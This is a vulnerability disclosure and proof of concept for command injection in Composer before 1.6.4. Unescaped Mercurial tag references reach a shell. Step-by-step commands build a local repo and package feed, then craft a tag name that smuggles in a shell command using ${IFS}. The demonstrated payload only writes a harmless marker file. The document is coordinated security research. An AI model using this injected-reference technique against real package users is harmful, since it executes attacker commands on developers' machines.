Author: Michael Hanselmann. Updated: April 16, 2018
Composer is a dependency manager for PHP. Before version 1.6.4 its Mercurial, Fossil, Subversion and Git source downloaders did not properly escape arguments when extracting commit logs (HgDownloader::getCommitLogs
, FossilDownloader::getCommitLogs
, SvnDownloader::getCommitLogs
and GitDownloader::getCommitLogs
). References from repositories are passed unescaped to a shell. At least for Mercurial it's possible to engineer a package repository such that a tag name can be interpreted as a valid shell command and is executed on the client. The affected functions are invoked when a dependency is updated from source in verbose mode.
The upstream developers were quick to respond to the initial report and pushed a fix within less than 3 days, discovering one additional case the author didn't notice at first. An announced release, Composer 1.6.4, was made on April 13, 2018, less than 4 days after the initial report.
Reproduction environment
- Debian 9 (Stretch) or a comparable Linux distribution
- Composer version 1.6.3 2018-01-31 16:28:17
Reproduction
Set up an empty package in a repository:
$ hg init /tmp/poclib $ cat > /tmp/poclib/.hg/hgrc <<'EOF' [ui] username = Jane Doe <jdoe@example.com> EOF $ cat > /tmp/poclib/composer.json <<'EOF' { "name": "poclib", "description": "poclib", "license": "BSD-3-Clause", "version": "0.1", "minimum-stability": "dev" } EOF $ hg -R /tmp/poclib/ commit -m Changes -A $ hg -R /tmp/poclib/ tag v0.1 # Use a separate shell $ hg -R /tmp/poclib/ serve --port 8700
Set up a Composer package repository:
$ mkdir /tmp/repo $ cat > /tmp/repo/packages.json <<'EOF' { "packages": { "poclib": { "0.1": { "name": "poclib", "version": "0.1", "source": { "type": "hg", "url": "http://localhost:8700", "reference": "v0.1" } } } } } EOF # Use a separate shell $ cd /tmp/repo && python3 -m http.server
Set up a project using the PoC library. Disabling secure HTTP is required because the local test servers aren't using TLS.
$ mkdir -p /tmp/project $ cat > /tmp/project/composer.json <<'EOF' { "name": "project", "description": "project", "minimum-stability": "dev", "config": { "secure-http": false }, "require": { "poclib": ">=0.1" }, "repositories": [ { "type": "composer", "url": "http://localhost:8000/packages.json" } ] } EOF $ composer --working-dir=/tmp/project/ update -v --prefer-source
So far so good. Now assume that upstream goes rogue.
$ tagname="v0.3;echo\${IFS}PoC\${IFS}$(date +%s)>>/tmp/poc.txt;echo\${IFS}" && \ hg -R /tmp/poclib/ tag "$tagname" && \ cat > /tmp/repo/packages.json <<EOF { "packages": { "poclib": { "0.2": { "name": "poclib", "version": "0.2", "source": { "type": "hg", "url": "http://localhost:8700", "reference": "${tagname}" } } } } } EOF
Update project dependency after ensuring that the PoC file doesn't exist:
$ rm -vf /tmp/poc.txt && \ composer --working-dir=/tmp/project/ update -v --prefer-source poclib
Once finished the PoC code will have been executed:
$ cat /tmp/poc.txt PoC 1523313974